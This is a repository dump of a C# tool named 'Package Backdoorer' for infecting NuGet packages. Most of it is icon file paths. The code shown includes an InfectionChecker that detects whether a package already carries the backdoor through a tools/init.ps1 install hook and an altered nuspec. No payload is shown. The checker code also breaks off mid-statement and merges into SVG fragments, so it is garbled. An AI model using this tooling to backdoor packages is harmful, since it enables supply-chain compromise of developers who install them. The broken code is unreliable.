https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/128/Icon Real Frame 2 128 Sky Blue.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/128/Icon Real Frame 3 128 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/128/Icon Real Frame 3 128 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/128/Icon Real Frame 3 128 Sky Blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/128/Icon Real Frame 3 128 Sky Blue.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/BlueFire/bluefire 1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/BlueFire/bluefire 1.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/BlueFire/bluefire 2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/BlueFire/bluefire 2.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/BlueFire/bluefire 3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/BlueFire/bluefire 3.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/BlueFire/bluefire.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/BlueFire/bluefire.gif -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/BlueFire/bluefireLowered.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/BlueFire/bluefireLowered.gif -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/BlueFire/fire.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/BlueFire/fire.gif -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/BlueFire/fireLowered.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/BlueFire/fireLowered.gif -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/Icon Frame 1 256 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/Icon Frame 1 256 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/Icon Frame 1 256 Orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/Icon Frame 1 256 Orange.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/Icon Frame 2 256 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/Icon Frame 2 256 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/Icon Frame 2 256 Orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/Icon Frame 2 256 Orange.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/Icon Frame 3 256 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/Icon Frame 3 256 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/Icon Frame 3 256 Orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/Icon Frame 3 256 Orange.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/Icon Real Frame 1 256 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/Icon Real Frame 1 256 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/Icon Real Frame 1 256 Sky Blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/Icon Real Frame 1 256 Sky Blue.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/Icon Real Frame 2 256 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/Icon Real Frame 2 256 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/Icon Real Frame 2 256 Sky Blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/Icon Real Frame 2 256 Sky Blue.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/Icon Real Frame 3 256 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/Icon Real Frame 3 256 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/Icon Real Frame 3 256 Sky Blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/Icon Real Frame 3 256 Sky Blue.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/NuGet_MaterialRed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/NuGet_MaterialRed.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/NuGet_Orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/NuGet_Orange.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/NuGet_Orig.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/NuGet_Orig.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/NuGet_Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/NuGet_Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/TestColors/Icon Frame 1 256 Orig.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/TestColors/Icon Frame 1 256 Orig.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/TestColors/Icon Frame 1 256 Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/TestColors/Icon Frame 1 256 Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/TestColors/Icon Frame 2 256 Orig.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/TestColors/Icon Frame 2 256 Orig.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/TestColors/Icon Frame 2 256 Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/TestColors/Icon Frame 2 256 Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/TestColors/Icon Frame 3 256 Orig.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/TestColors/Icon Frame 3 256 Orig.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/256/TestColors/Icon Frame 3 256 Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/256/TestColors/Icon Frame 3 256 Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/32/Icon Frame 1 32 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/32/Icon Frame 1 32 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/32/Icon Frame 1 32 Orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/32/Icon Frame 1 32 Orange.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/32/Icon Frame 2 32 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/32/Icon Frame 2 32 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/32/Icon Frame 2 32 Orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/32/Icon Frame 2 32 Orange.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/32/Icon Frame 3 32 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/32/Icon Frame 3 32 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/32/Icon Frame 3 32 Orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/32/Icon Frame 3 32 Orange.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/32/Icon Real Frame 1 32 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/32/Icon Real Frame 1 32 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/32/Icon Real Frame 1 32 Sky Blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/32/Icon Real Frame 1 32 Sky Blue.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/32/Icon Real Frame 2 32 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/32/Icon Real Frame 2 32 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/32/Icon Real Frame 2 32 Sky Blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/32/Icon Real Frame 2 32 Sky Blue.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/32/Icon Real Frame 3 32 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/32/Icon Real Frame 3 32 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/32/Icon Real Frame 3 32 Sky Blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/32/Icon Real Frame 3 32 Sky Blue.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/48/Icon Frame 1 48 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/48/Icon Frame 1 48 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/48/Icon Frame 1 48 Orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/48/Icon Frame 1 48 Orange.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/48/Icon Frame 2 48 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/48/Icon Frame 2 48 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/48/Icon Frame 2 48 Orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/48/Icon Frame 2 48 Orange.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/48/Icon Frame 3 48 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/48/Icon Frame 3 48 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/48/Icon Frame 3 48 Orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/48/Icon Frame 3 48 Orange.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/48/Icon Real Frame 1 48 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/48/Icon Real Frame 1 48 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/48/Icon Real Frame 1 48 Sky Blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/48/Icon Real Frame 1 48 Sky Blue.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/48/Icon Real Frame 2 48 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/48/Icon Real Frame 2 48 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/48/Icon Real Frame 2 48 Sky Blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/48/Icon Real Frame 2 48 Sky Blue.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/48/Icon Real Frame 3 48 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/48/Icon Real Frame 3 48 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/48/Icon Real Frame 3 48 Sky Blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/48/Icon Real Frame 3 48 Sky Blue.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/64/Icon Frame 1 64 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/64/Icon Frame 1 64 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/64/Icon Frame 1 64 Orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/64/Icon Frame 1 64 Orange.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/64/Icon Frame 2 64 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/64/Icon Frame 2 64 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/64/Icon Frame 2 64 Orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/64/Icon Frame 2 64 Orange.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/64/Icon Frame 3 64 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/64/Icon Frame 3 64 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/64/Icon Frame 3 64 Orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/64/Icon Frame 3 64 Orange.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/64/Icon Real Frame 1 64 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/64/Icon Real Frame 1 64 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/64/Icon Real Frame 1 64 Sky Blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/64/Icon Real Frame 1 64 Sky Blue.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/64/Icon Real Frame 2 64 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/64/Icon Real Frame 2 64 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/64/Icon Real Frame 2 64 Sky Blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/64/Icon Real Frame 2 64 Sky Blue.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/64/Icon Real Frame 3 64 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/64/Icon Real Frame 3 64 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/64/Icon Real Frame 3 64 Sky Blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/64/Icon Real Frame 3 64 Sky Blue.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/Frame 1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/Frame 1.ico -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/Frame 2.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/Frame 2.ico -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/Frame 3.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/Frame 3.ico -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/Icon Material Red Frame 1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/Icon Material Red Frame 1.ico -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/Icon Material Red Frame 2.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/Icon Material Red Frame 2.ico -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/Icon Material Red Frame 3.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/Icon Material Red Frame 3.ico -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/Icon Real Frame 1 Material Red.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/Icon Real Frame 1 Material Red.ico -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/Icon Real Frame 1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/Icon Real Frame 1.ico -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/Icon Real Frame 2 Material Red.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/Icon Real Frame 2 Material Red.ico -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/Icon Real Frame 2.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/Icon Real Frame 2.ico -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/Icon Real Frame 3 Material Red.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/Icon Real Frame 3 Material Red.ico -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/Icon Real Frame 3.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/Icon Real Frame 3.ico -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/InfectionChecker.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO.Compression; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | using System.Diagnostics; 9 | using System.Xml; 10 | 11 | namespace NugetInfect 12 | { 13 | public enum InfectionCheckResult 14 | { 15 | Infected, 16 | Clean, 17 | HasInitPs1Only, 18 | HasToolsFolder 19 | } 20 | public class InfectionChecker 21 | { 22 | public static InfectionCheckResult IsPackageInfected(string packagePath) 23 | { 24 | InfectionCheckResult result = InfectionCheckResult.Clean; 25 | 26 | ZipArchive package = ZipFile.Open(packagePath, ZipArchiveMode.Read); 27 | 28 | bool hasToolsFolder = false; 29 | bool hasInitPs1 = false; 30 | bool nuspecInfected = false; 31 | foreach (ZipArchiveEntry entry in package.Entries) 32 | { 33 | if (entry.FullName.Contains("tools/")) 34 | { 35 | hasToolsFolder = true; 36 | } 37 | 38 | if (entry.FullName == "tools/init.ps1") 39 | { 40 | hasInitPs1 = true; 41 | } 42 | 43 | if (entry.FullName.EndsWith(".nuspec", StringComparison.OrdinalIgnoreCase)) 44 | { 45 | Stream unzippedEntryStream = entry.Open(); // .Open will return a stream 46 | StreamReader reader = new StreamReader(unzippedEntryStream); 47 | string nuspec = reader.ReadToEnd(); 48 | unzippedEntryStream.Close(); 49 | reader.Close(); 50 | XmlDocument doc = new XmlDocument(); 51 | doc.LoadXml(nuspec); 52 | XmlNodeList nodes = doc.GetElementsByTagName("package")[0].ChildNodes; 53 | 54 | if (nodes.Count > 1) 55 | { 56 | if (nodes[1].Name == "files") 57 | { 58 | if (nodes[1].InnerXml.Contains(" 2 | 3 | 4 | nuget 5 | Created with Sketch. 6 | 7 | 8 | 9 | 10 | 11 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.Windows.Forms; 6 | 7 | namespace NugetInfect 8 | { 9 | internal static class Program 10 | { 11 | /// 12 | /// The main entry point for the application. 13 | /// 14 | [STAThread] 15 | static void Main() 16 | { 17 | Application.EnableVisualStyles(); 18 | Application.SetCompatibleTextRenderingDefault(false); 19 | Application.Run(new Form1()); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Package Backdoorer")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Package Backdoorer")] 13 